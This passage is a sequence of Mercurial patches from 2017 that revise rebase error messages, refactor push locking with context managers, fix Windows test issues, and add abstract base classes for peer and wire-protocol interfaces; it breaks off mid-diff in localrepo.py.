         #    /|    # None of A and B will be changed to D and rebase fails.
         #   A B D
         if set(newps) == set(oldps) and dest not in newps:
-            # The error message is for compatibility. It's a bit misleading
-            # since rebase is not supposed to add new parents.
-            raise error.Abort(_('cannot use revision %d as base, '
-                                'result would have 3 parents') % rev)
+            raise error.Abort(_('cannot rebase %d:%s without '
+                                'moving at least one of its parents')
+                              % (rev, repo[rev]))
 
     repo.ui.debug(" future parents are %d and %d\n" % tuple(newps))
 
diff --git a/tests/test-rebase-brute-force.t b/tests/test-rebase-brute-force.t
--- a/tests/test-rebase-brute-force.t
+++ b/tests/test-rebase-brute-force.t
@@ -23,7 +23,7 @@
      A: A':Z
      B: B':Z
     AB: A':Z B':Z
-     C: ABORT: cannot use revision 3 as base, result would have 3 parents
+     C: ABORT: cannot rebase 3:a35c07e8a2a4 without moving at least one of its parents
     AC: A':Z C':A'B
     BC: B':Z C':B'A
    ABC: A':Z B':Z C':A'B'
@@ -31,7 +31,7 @@
     AD: A':Z D':Z
     BD: B':Z D':B'
    ABD: A':Z B':Z D':B'
-    CD: ABORT: cannot use revision 3 as base, result would have 3 parents
+    CD: ABORT: cannot rebase 3:a35c07e8a2a4 without moving at least one of its parents
    ACD: A':Z C':A'B D':Z
    BCD: B':Z C':B'A D':B'
   ABCD: A':Z B':Z C':A'B' D':B'
@@ -49,7 +49,7 @@
     B: B':Z
     A: 
    BA: B':Z
-    C: ABORT: cannot use revision 3 as base, result would have 3 parents
+    C: ABORT: cannot rebase 3:b8d7149b562b without moving at least one of its parents
    BC: B':Z C':B'A
    AC: 
   BAC: B':Z C':B'A
diff --git a/tests/test-rebase-obsolete.t b/tests/test-rebase-obsolete.t
--- a/tests/test-rebase-obsolete.t
+++ b/tests/test-rebase-obsolete.t
@@ -494,7 +494,7 @@
   not rebasing ignored 4:26805aba1e60 "C" (C)
   not rebasing ignored 5:4b61ff5c62e2 "E" (E)
   rebasing 6:f15c3adaf214 "F" (F tip)
-  abort: cannot use revision 6 as base, result would have 3 parents
+  abort: cannot rebase 6:f15c3adaf214 without moving at least one of its parents
   [255]
 
   $ cd ..
diff --git a/tests/test-rebase-scenario-global.t b/tests/test-rebase-scenario-global.t
--- a/tests/test-rebase-scenario-global.t
+++ b/tests/test-rebase-scenario-global.t
@@ -271,7 +271,7 @@
 
   $ hg rebase -s 6 -d 1
   rebasing 6:eea13746799a "G"
-  abort: cannot use revision 6 as base, result would have 3 parents
+  abort: cannot rebase 6:eea13746799a without moving at least one of its parents
   [255]
   $ hg rebase --abort
   rebase aborted
# HG changeset patch
# User Martin von Zweigbergk <martinvonz@google.com>
# Date 1501303784 25200
#      Fri Jul 28 21:49:44 2017 -0700
# Node ID f2befc1f4cf46e35e1af1e796b4609186469a347
# Parent  19f495fef0a348811e77ff6b9fc7a6b47f02497c
exchange: remove 'locallocked' member from pushop object

The variable has been used only within a single function since
94e2862dbcfb (push: elevate phase transaction to cover entire
operation, 2014-11-21), so there's no need to keep it on the pushop
object.

Differential Revision: https://phab.mercurial-scm.org/D389

diff --git a/mercurial/exchange.py b/mercurial/exchange.py
--- a/mercurial/exchange.py
+++ b/mercurial/exchange.py
@@ -308,8 +308,6 @@
         self.bookmarks = bookmarks
         # allow push of new branch
         self.newbranch = newbranch
-        # did a local lock get acquired?
-        self.locallocked = None
         # step already performed
         # (used to check what steps have been already performed through bundle2)
         self.stepsdone = set()
@@ -442,6 +440,7 @@
 
     # get local lock as we might write phase data
     localwlock = locallock = None
+    locallocked = False
     try:
         # bundle2 push may receive a reply bundle touching bookmarks or other
         # things requiring the wlock. Take it now to ensure proper ordering.
@@ -449,9 +448,8 @@
         if (not _forcebundle1(pushop)) and maypushback:
             localwlock = pushop.repo.wlock()
         locallock = pushop.repo.lock()
-        pushop.locallocked = True
+        locallocked = True
     except IOError as err:
-        pushop.locallocked = False
         if err.errno != errno.EACCES:
             raise
         # source repo cannot be locked.
@@ -460,7 +458,7 @@
         msg = 'cannot lock source repository: %s\n' % err
         pushop.ui.debug(msg)
     try:
-        if pushop.locallocked:
+        if locallocked:
             pushop.trmanager = transactionmanager(pushop.repo,
                                                   'push-response',
                                                   pushop.remote.url())
# HG changeset patch
# User Martin von Zweigbergk <martinvonz@google.com>
# Date 1502752454 25200
#      Mon Aug 14 16:14:14 2017 -0700
# Node ID 20d663a104fb76ee06da3cd383c33d79d0cb2e43
# Parent  f2befc1f4cf46e35e1af1e796b4609186469a347
exchange: drop now-unnecessary "local" from lock name variables

Since fda0867cfe03 (exchange: drop support for lock-based unbundling
(BC), 2017-08-06), there is no more remote locking.

Differential Revision: https://phab.mercurial-scm.org/D390

diff --git a/mercurial/exchange.py b/mercurial/exchange.py
--- a/mercurial/exchange.py
+++ b/mercurial/exchange.py
@@ -438,17 +438,17 @@
         raise error.Abort(_('cannot push: destination does not support the '
                             'unbundle wire protocol command'))
 
-    # get local lock as we might write phase data
-    localwlock = locallock = None
-    locallocked = False
+    # get lock as we might write phase data
+    wlock = lock = None
+    locked = False
     try:
         # bundle2 push may receive a reply bundle touching bookmarks or other
         # things requiring the wlock. Take it now to ensure proper ordering.
         maypushback = pushop.ui.configbool('experimental', 'bundle2.pushback')
         if (not _forcebundle1(pushop)) and maypushback:
-            localwlock = pushop.repo.wlock()
-        locallock = pushop.repo.lock()
-        locallocked = True
+            wlock = pushop.repo.wlock()
+        lock = pushop.repo.lock()
+        locked = True
     except IOError as err:
         if err.errno != errno.EACCES:
             raise
@@ -458,7 +458,7 @@
         msg = 'cannot lock source repository: %s\n' % err
         pushop.ui.debug(msg)
     try:
-        if locallocked:
+        if locked:
             pushop.trmanager = transactionmanager(pushop.repo,
                                                   'push-response',
                                                   pushop.remote.url())
@@ -476,10 +476,10 @@
     finally:
         if pushop.trmanager:
             pushop.trmanager.release()
-        if locallock is not None:
-            locallock.release()
-        if localwlock is not None:
-            localwlock.release()
+        if lock is not None:
+            lock.release()
+        if wlock is not None:
+            wlock.release()
 
     return pushop
 
# HG changeset patch
# User Martin von Zweigbergk <martinvonz@google.com>
# Date 1502753196 25200
#      Mon Aug 14 16:26:36 2017 -0700
# Node ID 5904511fc9f8389d94970cf84200c07ec1187699
# Parent  20d663a104fb76ee06da3cd383c33d79d0cb2e43
exchange: remove need for "locked" variable

The transactionmanager() constructor just assigned a few variables and
cannot fail, so it's safe to move it inside the earlier try/except.

Differential Revision: https://phab.mercurial-scm.org/D391

diff --git a/mercurial/exchange.py b/mercurial/exchange.py
--- a/mercurial/exchange.py
+++ b/mercurial/exchange.py
@@ -440,7 +440,6 @@
 
     # get lock as we might write phase data
     wlock = lock = None
-    locked = False
     try:
         # bundle2 push may receive a reply bundle touching bookmarks or other
         # things requiring the wlock. Take it now to ensure proper ordering.
@@ -448,7 +447,9 @@
         if (not _forcebundle1(pushop)) and maypushback:
             wlock = pushop.repo.wlock()
         lock = pushop.repo.lock()
-        locked = True
+        pushop.trmanager = transactionmanager(pushop.repo,
+                                              'push-response',
+                                              pushop.remote.url())
     except IOError as err:
         if err.errno != errno.EACCES:
             raise
@@ -457,11 +458,8 @@
         # synchronisation.
         msg = 'cannot lock source repository: %s\n' % err
         pushop.ui.debug(msg)
+
     try:
-        if locked:
-            pushop.trmanager = transactionmanager(pushop.repo,
-                                                  'push-response',
-                                                  pushop.remote.url())
         pushop.repo.checkpush(pushop)
         _pushdiscovery(pushop)
         if not _forcebundle1(pushop):
# HG changeset patch
# User Martin von Zweigbergk <martinvonz@google.com>
# Date 1501306930 25200
#      Fri Jul 28 22:42:10 2017 -0700
# Node ID bbbbd3c30bfcf3e35a0d802e74c0dd2835d5f805
# Parent  5904511fc9f8389d94970cf84200c07ec1187699
util: add base class for transactional context managers

We have at least three types with a close() and a release() method
where the close() method is supposed to be called on success and the
release() method is supposed to be called last, whether successful or
not. Two of them (transaction and dirstateguard) already have
identical implementations of __enter__ and __exit__. Let's extract a
base class for this, so we reuse the code and so the third type
(transactionmanager) can also be used as a context manager.

Differential Revision: https://phab.mercurial-scm.org/D392

diff --git a/mercurial/dirstateguard.py b/mercurial/dirstateguard.py
--- a/mercurial/dirstateguard.py
+++ b/mercurial/dirstateguard.py
@@ -11,9 +11,10 @@
 
 from . import (
     error,
+    util,
 )
 
-class dirstateguard(object):
+class dirstateguard(util.transactional):
     '''Restore dirstate at unexpected failure.
 
     At the construction, this class does:
@@ -43,16 +44,6 @@
             # ``release(tr, ....)``.
             self._abort()
 
-    def __enter__(self):
-        return self
-
-    def __exit__(self, exc_type, exc_val, exc_tb):
-        try:
-            if exc_type is None:
-                self.close()
-        finally:
-            self.release()
-
     def close(self):
         if not self._active: # already inactivated
             msg = (_("can't close already inactivated backup: %s")
diff --git a/mercurial/exchange.py b/mercurial/exchange.py
--- a/mercurial/exchange.py
+++ b/mercurial/exchange.py
@@ -1168,7 +1168,7 @@
         # deprecated; talk to trmanager directly
         return self.trmanager.transaction()
 
-class transactionmanager(object):
+class transactionmanager(util.transactional):
     """An object to manage the life cycle of a transaction
 
     It creates the transaction on demand and calls the appropriate hooks when
diff --git a/mercurial/transaction.py b/mercurial/transaction.py
--- a/mercurial/transaction.py
+++ b/mercurial/transaction.py
@@ -101,7 +101,7 @@
         # only pure backup file remains, it is sage to ignore any error
         pass
 
-class transaction(object):
+class transaction(util.transactional):
     def __init__(self, report, opener, vfsmap, journalname, undoname=None,
                  after=None, createmode=None, validator=None, releasefn=None,
                  checkambigfiles=None):
@@ -376,16 +376,6 @@
         if self.count > 0 and self.usages == 0:
             self._abort()
 
-    def __enter__(self):
-        return self
-
-    def __exit__(self, exc_type, exc_val, exc_tb):
-        try:
-            if exc_type is None:
-                self.close()
-        finally:
-            self.release()
-
     def running(self):
         return self.count > 0
 
diff --git a/mercurial/util.py b/mercurial/util.py
--- a/mercurial/util.py
+++ b/mercurial/util.py
@@ -15,6 +15,7 @@
 
 from __future__ import absolute_import
 
+import abc
 import bz2
 import calendar
 import codecs
@@ -592,6 +593,31 @@
             for k, v in src:
                 self[k] = v
 
+class transactional(object):
+    """Base class for making a transactional type into a context manager."""
+    __metaclass__ = abc.ABCMeta
+
+    @abc.abstractmethod
+    def close(self):
+        """Successfully closes the transaction."""
+
+    @abc.abstractmethod
+    def release(self):
+        """Marks the end of the transaction.
+
+        If the transaction has not been closed, it will be aborted.
+        """
+
+    def __enter__(self):
+        return self
+
+    def __exit__(self, exc_type, exc_val, exc_tb):
+        try:
+            if exc_type is None:
+                self.close()
+        finally:
+            self.release()
+
 @contextlib.contextmanager
 def acceptintervention(tr=None):
     """A context manager that closes the transaction on InterventionRequired
# HG changeset patch
# User Martin von Zweigbergk <martinvonz@google.com>
# Date 1501304667 25200
#      Fri Jul 28 22:04:27 2017 -0700
# Node ID 389f7b17ffb31ba3be61aaff6304ca6096f38f74
# Parent  bbbbd3c30bfcf3e35a0d802e74c0dd2835d5f805
exchange: simplify unbundle locking using context managers

Differential Revision: https://phab.mercurial-scm.org/D393

diff --git a/mercurial/exchange.py b/mercurial/exchange.py
--- a/mercurial/exchange.py
+++ b/mercurial/exchange.py
@@ -459,7 +459,9 @@
         msg = 'cannot lock source repository: %s\n' % err
         pushop.ui.debug(msg)
 
-    try:
+    with wlock or util.nullcontextmanager(), \
+            lock or util.nullcontextmanager(), \
+            pushop.trmanager or util.nullcontextmanager():
         pushop.repo.checkpush(pushop)
         _pushdiscovery(pushop)
         if not _forcebundle1(pushop):
@@ -469,16 +471,6 @@
         _pushobsolete(pushop)
         _pushbookmark(pushop)
 
-        if pushop.trmanager:
-            pushop.trmanager.close()
-    finally:
-        if pushop.trmanager:
-            pushop.trmanager.release()
-        if lock is not None:
-            lock.release()
-        if wlock is not None:
-            wlock.release()
-
     return pushop
 
 # list of steps to perform discovery before push
# HG changeset patch
# User Matt Harbison <matt_harbison@yahoo.com>
# Date 1502763653 14400
#      Mon Aug 14 22:20:53 2017 -0400
# Node ID cf300c1ad7bfe0306ba349e672c2d04f9336e575
# Parent  389f7b17ffb31ba3be61aaff6304ca6096f38f74
test-sparse: drop unnecessary globs

diff --git a/tests/test-sparse.t b/tests/test-sparse.t
--- a/tests/test-sparse.t
+++ b/tests/test-sparse.t
@@ -55,7 +55,7 @@
   [include]
   $TESTTMP/myrepo/hide
   hide
-  subdir/path (glob)
+  subdir/path
   
   $ cd ..
   $ echo hello > subdir/file2.ext
@@ -69,7 +69,7 @@
   hide
   path:abspath
   subdir/**.ext
-  subdir/path (glob)
+  subdir/path
   
   $ rm -rf subdir
 
# HG changeset patch
# User Matt Harbison <matt_harbison@yahoo.com>
# Date 1502764008 14400
#      Mon Aug 14 22:26:48 2017 -0400
# Node ID 4f8c241b2bfa3ea6e4d8c29d3a480a05791f5c2a
# Parent  cf300c1ad7bfe0306ba349e672c2d04f9336e575
test-pushvars: invoke shell script hook via `sh` for Windows

Invoking *.sh on Windows leads to the "what program should open this?" prompt,
which stalls the test and led to the recent series of exceptions on the Windows
test machine as the runner times out.

diff --git a/tests/test-pushvars.t b/tests/test-pushvars.t
--- a/tests/test-pushvars.t
+++ b/tests/test-pushvars.t
@@ -8,10 +8,9 @@
   > env | egrep "^HG_USERVAR_(DEBUG|BYPASS_REVIEW)" | sort
   > exit 0
   > EOF
-  $ chmod +x $TESTTMP/pretxnchangegroup.sh
   $ cat >> $HGRCPATH << EOF
   > [hooks]
-  > pretxnchangegroup = $TESTTMP/pretxnchangegroup.sh
+  > pretxnchangegroup = sh $TESTTMP/pretxnchangegroup.sh
   > [experimental]
   > bundle2-exp = true
   > EOF
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1502702406 -7200
#      Mon Aug 14 11:20:06 2017 +0200
# Node ID 4abf34f475266be9483a6d70cbfd6a5bfa484feb
# Parent  4f8c241b2bfa3ea6e4d8c29d3a480a05791f5c2a
context: fix troubled deprecation

troubled has been renamed into isunstable but troubled was calling unstable
instead. Fix the mistake.

Differential Revision: https://phab.mercurial-scm.org/D384

diff --git a/mercurial/context.py b/mercurial/context.py
--- a/mercurial/context.py
+++ b/mercurial/context.py
@@ -243,7 +243,7 @@
         msg = ("'context.troubled' is deprecated, "
                "use 'context.isunstable'")
         self._repo.ui.deprecwarn(msg, '4.4')
-        return self.unstable()
+        return self.isunstable()
 
     def isunstable(self):
         """True if the changeset is either unstable, bumped or divergent"""
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1501127274 14400
#      Wed Jul 26 23:47:54 2017 -0400
# Node ID 2cd5aba5e1d2a94ee89838e57ca66aab68e27f56
# Parent  4abf34f475266be9483a6d70cbfd6a5bfa484feb
scmutil: use util.shellquote instead of %r

Changes some output, but also resolves differences with Python 3.

Differential Revision: https://phab.mercurial-scm.org/D301

diff --git a/mercurial/scmutil.py b/mercurial/scmutil.py
--- a/mercurial/scmutil.py
+++ b/mercurial/scmutil.py
@@ -273,7 +273,7 @@
     if abort or warn:
         msg = util.checkwinfilename(f)
         if msg:
-            msg = "%s: %r" % (msg, f)
+            msg = "%s: %s" % (msg, util.shellquote(f))
             if abort:
                 raise error.Abort(msg)
             ui.warn(_("warning: %s\n") % msg)
diff --git a/tests/test-add.t b/tests/test-add.t
--- a/tests/test-add.t
+++ b/tests/test-add.t
@@ -44,14 +44,14 @@
   abort: ui.portablefilenames value is invalid ('jump')
   [255]
   $ hg --config ui.portablefilenames=abort add con.xml
-  abort: filename contains 'con', which is reserved on Windows: 'con.xml'
+  abort: filename contains 'con', which is reserved on Windows: con.xml
   [255]
   $ hg st
   A a
   A b
   ? con.xml
   $ hg add con.xml
-  warning: filename contains 'con', which is reserved on Windows: 'con.xml'
+  warning: filename contains 'con', which is reserved on Windows: con.xml
   $ hg st
   A a
   A b
diff --git a/tests/test-copy.t b/tests/test-copy.t
--- a/tests/test-copy.t
+++ b/tests/test-copy.t
@@ -15,7 +15,7 @@
   $ hg status
   $ hg copy a b
   $ hg --config ui.portablefilenames=abort copy a con.xml
-  abort: filename contains 'con', which is reserved on Windows: 'con.xml'
+  abort: filename contains 'con', which is reserved on Windows: con.xml
   [255]
   $ hg status
   A b
diff --git a/tests/test-rename.t b/tests/test-rename.t
--- a/tests/test-rename.t
+++ b/tests/test-rename.t
@@ -12,7 +12,7 @@
 
   $ hg rename d1/d11/a1 d2/c
   $ hg --config ui.portablefilenames=abort rename d1/a d1/con.xml
-  abort: filename contains 'con', which is reserved on Windows: 'd1/con.xml'
+  abort: filename contains 'con', which is reserved on Windows: d1/con.xml
   [255]
   $ hg sum
   parent: 0:9b4b6e7b2c26 tip
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1502774939 25200
#      Mon Aug 14 22:28:59 2017 -0700
# Node ID 05264fc9d8d64159ab942c1bde400238f2c0ec88
# Parent  2cd5aba5e1d2a94ee89838e57ca66aab68e27f56
util: make nogc effective for CPython

279cd80059d4 made `util.nogc` a no-op. It was to optimize PyPy. But it slows
down CPython if many objects (like 300k+) are created.

For example, running `hg log -r .` without extensions in `hg-committed` with
14k+ obsmarkers have the following times:

  before        | after
  hg    | chg   | hg    | chg
  -----------------------------
  1.262 | 0.860 | 1.077 | 0.619 (seconds, best of 20 runs)

Therefore let's re-enable nogc for CPython.

Differential Revision: https://phab.mercurial-scm.org/D402

diff --git a/mercurial/util.py b/mercurial/util.py
--- a/mercurial/util.py
+++ b/mercurial/util.py
@@ -964,10 +964,9 @@
     into. As a workaround, disable GC while building complex (huge)
     containers.
 
-    This garbage collector issue have been fixed in 2.7.
+    This garbage collector issue have been fixed in 2.7. But it still affect
+    CPython's performance.
     """
-    if sys.version_info >= (2, 7):
-        return func
     def wrapper(*args, **kwargs):
         gcenabled = gc.isenabled()
         gc.disable()
@@ -978,6 +977,10 @@
                 gc.enable()
     return wrapper
 
+if pycompat.ispypy:
+    # PyPy runs slower with gc disabled
+    nogc = lambda x: x
+
 def pathto(root, n1, n2):
     '''return the relative path from one place to another.
     root should use os.sep to separate directories
# HG changeset patch
# User Gregory Szorc <gregory.szorc@gmail.com>
# Date 1502647128 25200
#      Sun Aug 13 10:58:48 2017 -0700
# Node ID f257943e47ab314793b2ff4354383c7112f8f4de
# Parent  05264fc9d8d64159ab942c1bde400238f2c0ec88
repository: formalize peer interface with abstract base class

There are various interfaces for interacting with repositories
and peers. They form a contract for how one should interact with
a repo or peer object.

The contracts today aren't very well-defined or enforced. There
have been several bugs over the years where peers or repo types
have forgotten to implement certain methods. In addition, the
inheritance of some classes is wonky. For example, localrepository
doesn't inherit from an interface and the god-object nature of
that class means the repository interface isn't well-defined. Other
repository types inherit from localrepository then stub out
methods that don't make sense (e.g. statichttprepository
re-defining locking methods to fail fast).

Not having well-defined interfaces makes implementing alternate
storage backends, wire protocol transports, and repository types
difficult because it isn't clear what exactly needs to be
implemented.

This patch starts the process of attempting to establish more
order to the type system around repositories and peers.

Our first patch starts with a problem space that already has a
partial solution: peers. The peer.peerrepository class already
somewhat defines a peer interface. But it is missing a few things
and the total interface isn't well-defined because it is combined
with wireproto.wirepeer.

Our newly-established basepeer class uses the abc module to
declare an abstract base class with the properties and methods that
a generic peer must implement.

We create a new class that inherits from it. This class will hold
our other future abstract base classes / interfaces so we can expose
a unified base class/interface.

We don't yet use the new interface because subsequent additions
will break existing code without some refactoring first.

A new module (repository.py) was created to hold the interfaces.
I could have put things in peer.py. However, I have plans to
eventually add interfaces to define repository and storage types.
These almost certainly require a new module. And I figured having
all the interfaces live in one module makes sense. So I created
repository.py to be that future home.

Differential Revision: https://phab.mercurial-scm.org/D332

diff --git a/mercurial/repository.py b/mercurial/repository.py
new file mode 100644
--- /dev/null
+++ b/mercurial/repository.py
@@ -0,0 +1,71 @@
+# repository.py - Interfaces and base classes for repositories and peers.
+#
+# Copyright 2017 Gregory Szorc <gregory.szorc@gmail.com>
+#
+# This software may be used and distributed according to the terms of the
+# GNU General Public License version 2 or any later version.
+
+from __future__ import absolute_import
+
+import abc
+
+class _basepeer(object):
+    """Represents a "connection" to a repository.
+
+    This is the base interface for representing a connection to a repository.
+    It holds basic properties and methods applicable to all peer types.
+
+    This is not a complete interface definition and should not be used
+    outside of this module.
+    """
+    __metaclass__ = abc.ABCMeta
+
+    @abc.abstractproperty
+    def ui(self):
+        """ui.ui instance."""
+
+    @abc.abstractmethod
+    def url(self):
+        """Returns a URL string representing this peer.
+
+        Currently, implementations expose the raw URL used to construct the
+        instance. It may contain credentials as part of the URL. The
+        expectations of the value aren't well-defined and this could lead to
+        data leakage.
+
+        TODO audit/clean consumers and more clearly define the contents of this
+        value.
+        """
+
+    @abc.abstractmethod
+    def local(self):
+        """Returns a local repository instance.
+
+        If the peer represents a local repository, returns an object that
+        can be used to interface with it. Otherwise returns ``None``.
+        """
+
+    @abc.abstractmethod
+    def peer(self):
+        """Returns an object conforming to this interface.
+
+        Most implementations will ``return self``.
+        """
+
+    @abc.abstractmethod
+    def canpush(self):
+        """Returns a boolean indicating if this peer can be pushed to."""
+
+    @abc.abstractmethod
+    def close(self):
+        """Close the connection to this peer.
+
+        This is called when the peer will no longer be used. Resources
+        associated with the peer should be cleaned up.
+        """
+
+class peer(_basepeer):
+    """Unified interface and base class for peer repositories.
+
+    All peer instances must inherit from this class.
+    """
# HG changeset patch
# User Gregory Szorc <gregory.szorc@gmail.com>
# Date 1502647482 25200
#      Sun Aug 13 11:04:42 2017 -0700
# Node ID 558f5b2ee10e65d6120948d0c6836c61c8787089
# Parent  f257943e47ab314793b2ff4354383c7112f8f4de
repository: formalize wire protocol interface

There are a well-defined set of commands constituting the wire
protocol. Interaction with these and methods for calling them in
batches are exposed via methods on peer instances.

Let's formalize support for these features in abstract classes.

The command parts come from the existing wireproto.wirepeer class.
The batch methods come from peer.peerrepository.

Ample documentation has been added as part of defining the interfaces.

# no-check-commit

Differential Revision: https://phab.mercurial-scm.org/D333

diff --git a/mercurial/repository.py b/mercurial/repository.py
--- a/mercurial/repository.py
+++ b/mercurial/repository.py
@@ -64,8 +64,169 @@
         associated with the peer should be cleaned up.
         """
 
-class peer(_basepeer):
+class _basewirecommands(object):
+    """Client-side interface for communicating over the wire protocol.
+
+    This interface is used as a gateway to the Mercurial wire protocol.
+    methods commonly call wire protocol commands of the same name.
+    """
+    __metaclass__ = abc.ABCMeta
+
+    @abc.abstractmethod
+    def branchmap(self):
+        """Obtain heads in named branches.
+
+        Returns a dict mapping branch name to an iterable of nodes that are
+        heads on that branch.
+        """
+
+    @abc.abstractmethod
+    def capabilities(self):
+        """Obtain capabilities of the peer.
+
+        Returns a set of string capabilities.
+        """
+
+    @abc.abstractmethod
+    def debugwireargs(self, one, two, three=None, four=None, five=None):
+        """Used to facilitate debugging of arguments passed over the wire."""
+
+    @abc.abstractmethod
+    def getbundle(self, source, **kwargs):
+        """Obtain remote repository data as a bundle.
+
+        This command is how the bulk of repository data is transferred from
+        the peer to the local repository
+
+        Returns a generator of bundle data.
+        """
+
+    @abc.abstractmethod
+    def heads(self):
+        """Determine all known head revisions in the peer.
+
+        Returns an iterable of binary nodes.
+        """
+
+    @abc.abstractmethod
+    def known(self, nodes):
+        """Determine whether multiple nodes are known.
+
+        Accepts an iterable of nodes whose presence to check for.
+
+        Returns an iterable of booleans indicating of the corresponding node
+        at that index is known to the peer.
+        """
+
+    @abc.abstractmethod
+    def listkeys(self, namespace):
+        """Obtain all keys in a pushkey namespace.
+
+        Returns an iterable of key names.
+        """
+
+    @abc.abstractmethod
+    def lookup(self, key):
+        """Resolve a value to a known revision.
+
+        Returns a binary node of the resolved revision on success.
+        """
+
+    @abc.abstractmethod
+    def pushkey(self, namespace, key, old, new):
+        """Set a value using the ``pushkey`` protocol.
+
+        Arguments correspond to the pushkey namespace and key to operate on and
+        the old and new values for that key.
+
+        Returns a string with the peer result. The value inside varies by the
+        namespace.
+        """
+
+    @abc.abstractmethod
+    def stream_out(self):
+        """Obtain streaming clone data.
+
+        Successful result should be a generator of data chunks.
+        """
+
+    @abc.abstractmethod
+    def unbundle(self, bundle, heads, url):
+        """Transfer repository data to the peer.
+
+        This is how the bulk of data during a push is transferred.
+
+        Returns the integer number of heads added to the peer.
+        """
+
+class _baselegacywirecommands(object):
+    """Interface for implementing support for legacy wire protocol commands.
+
+    Wire protocol commands transition to legacy status when they are no longer
+    used by modern clients. To facilitate identifying which commands are
+    legacy, the interfaces are split.
+    """
+    __metaclass__ = abc.ABCMeta
+
+    @abc.abstractmethod
+    def between(self, pairs):
+        """Obtain nodes between pairs of nodes.
+
+        ``pairs`` is an iterable of node pairs.
+
+        Returns an iterable of iterables of nodes corresponding to each
+        requested pair.
+        """
+
+    @abc.abstractmethod
+    def branches(self, nodes):
+        """Obtain ancestor changesets of specific nodes back to a branch point.
+
+        For each requested node, the peer finds the first ancestor node that is
+        a DAG root or is a merge.
+
+        Returns an iterable of iterables with the resolved values for each node.
+        """
+
+    @abc.abstractmethod
+    def changegroup(self, nodes, kind):
+        """Obtain a changegroup with data for descendants of specified nodes."""
+
+    @abc.abstractmethod
+    def changegroupsubset(self, bases, heads, kind):
+        pass
+
+class peer(_basepeer, _basewirecommands):
     """Unified interface and base class for peer repositories.
 
-    All peer instances must inherit from this class.
+    All peer instances must inherit from this class and conform to its
+    interface.
     """
+
+    @abc.abstractmethod
+    def iterbatch(self):
+        """Obtain an object to be used for multiple method calls.
+
+        Various operations call several methods on peer instances. If each
+        method call were performed immediately and serially, this would
+        require round trips to remote peers and/or would slow down execution.
+
+        Some peers have the ability to "batch" method calls to avoid costly
+        round trips or to facilitate concurrent execution.
+
+        This method returns an object that can be used to indicate intent to
+        perform batched method calls.
+
+        The returned object is a proxy of this peer. It intercepts calls to
+        batchable methods and queues them instead of performing them
+        immediately. This proxy object has a ``submit`` method that will
+        perform all queued batchable method calls. A ``results()`` method
+        exposes the results of queued/batched method calls. It is a generator
+        of results in the order they were called.
+
+        Not all peers or wire protocol implementations may actually batch method
+        calls. However, they must all support this API.
+        """
+
+class legacypeer(peer, _baselegacywirecommands):
+    """peer but with support for legacy wire protocol commands."""
# HG changeset patch
# User Gregory Szorc <gregory.szorc@gmail.com>
# Date 1502063245 25200
#      Sun Aug 06 16:47:25 2017 -0700
# Node ID a0aad86b3b6af9ca878857368f7ac55fdbe1e09c
# Parent  558f5b2ee10e65d6120948d0c6836c61c8787089
repository: implement generic capability methods on peer class

These methods are part of the peer interface, are generic, and can
be implemented in terms of other members of the peer interface. So we
implement them on the peer base class as a convenience.

The implementation is essentially copied from peer.py. The code
in peer.py will eventually be deleted.

Differential Revision: https://phab.mercurial-scm.org/D334

diff --git a/mercurial/repository.py b/mercurial/repository.py
--- a/mercurial/repository.py
+++ b/mercurial/repository.py
@@ -9,6 +9,11 @@
 
 import abc
 
+from .i18n import _
+from . import (
+    error,
+)
+
 class _basepeer(object):
     """Represents a "connection" to a repository.
 
@@ -228,5 +233,36 @@
         calls. However, they must all support this API.
         """
 
+    def capable(self, name):
+        """Determine support for a named capability.
+
+        Returns ``False`` if capability not supported.
+
+        Returns ``True`` if boolean capability is supported. Returns a string
+        if capability support is non-boolean.
+        """
+        caps = self.capabilities()
+        if name in caps:
+            return True
+
+        name = '%s=' % name
+        for cap in caps:
+            if cap.startswith(name):
+                return cap[len(name):]
+
+        return False
+
+    def requirecap(self, name, purpose):
+        """Require a capability to be present.
+
+        Raises a ``CapabilityError`` if the capability isn't present.
+        """
+        if self.capable(name):
+            return
+
+        raise error.CapabilityError(
+            _('cannot %s; remote repository does not support the %r '
+              'capability') % (purpose, name))
+
 class legacypeer(peer, _baselegacywirecommands):
     """peer but with support for legacy wire protocol commands."""
# HG changeset patch
# User Gregory Szorc <gregory.szorc@gmail.com>
# Date 1502347945 25200
#      Wed Aug 09 23:52:25 2017 -0700
# Node ID 707750e5310bfef867740befde355c79a959c912
# Parent  a0aad86b3b6af9ca878857368f7ac55fdbe1e09c
localrepo: use peer interfaces

We now have a formal abstract base class for peers. Let's
transition the peer classes in localrepo to it.

As part of the transition, we reorder methods so they are grouped
by interface and match the order they are defined in the interface.
We also had to change self.ui from an instance attribute to a
property to satisfy the @abstractproperty requirement.

As part of this change, we uncover the first "bug" as part of
enforcing interfaces: stream_out() wasn't implemented on localpeer!
This isn't technically a bug since the repo isn't advertising the
stream capability, so clients shouldn't be attempting to call it.
But I don't think there's a good reason why this is the case.
We implement a dummy method to satisfy the interface requriements.
We can make localpeer instances streamable as a future enhancement.

# no-check-commit

Differential Revision: https://phab.mercurial-scm.org/D335

diff --git a/mercurial/localrepo.py b/mercurial/localrepo.py
--- a/mercurial/localrepo.py
+++ b/mercurial/localrepo.py
@@ -49,6 +49,7 @@
     phases,
     pushkey,
     pycompat,
+    repository,
     repoview,
     revset,
     revsetlang,
@@ -144,43 +145,52 @@
               'unbundle'}
 legacycaps = moderncaps.union({'changegroupsubset'})
 
-class localpeer(peer.peerrepository):
+class localpeer(repository.peer):
     '''peer for a local repo; reflects only the most recent API'''
 
     def __init__(self, repo, caps=None):
+        super(localpeer, self).__init__()
+
         if caps is None:
             caps = moderncaps.copy()
-        peer.peerrepository.__init__(self)
         self._repo = repo.filtered('served')
-        self.ui = repo.ui
+        self._ui = repo.ui
         self._caps = repo._restrictcapabilities(caps)
 
+    # Begin of _basepeer interface.
+
+    @util.propertycache
+    def ui(self):
+        return self._ui
+
+    def url(self):
+        return self._repo.url()
+
+    def local(self):
+        return self._repo
+
+    def peer(self):
+        return self
+
+    def canpush(self):
+        return True
+
     def close(self):
         self._repo.close()
 
-    def _capabilities(self):
-        return self._caps
-
-    def local(self):
-        return self._repo
+    # End of _basepeer interface.
 
-    def canpush(self):
-        return True
-
-    def url(self):
-        return self._repo.url()
-
-    def lookup(self, key):
-        return self._repo.lookup(key)
+    # Begin of _basewirecommands interface.
 
     def branchmap(self):
         return self._repo.branchmap()
 
-    def heads(self):
